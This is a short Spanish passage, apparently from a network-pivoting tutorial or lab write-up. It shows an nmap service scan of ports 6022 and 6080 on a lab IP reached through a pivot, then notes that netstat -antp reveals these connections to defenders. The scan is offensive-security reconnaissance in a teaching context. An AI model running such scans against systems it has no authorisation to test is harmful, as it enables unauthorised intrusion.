Finalmente podremos trabajar desde nuestra máquina atacante de forma normal con la IP que teníamos alcance desde un principio que es la 10.129.3.88. Es decir, si queremos realizar un nmap se tendría que escanear de la siguiente forma:
┌─[root@kali]─[/home/user/pivoting]
└──╼ nmap -sVC 10.129.3.88 -p6022,6080
Desde el punto de vista defensivo todas estas conexiones se pueden visualizar por medio de
netstat -antp
.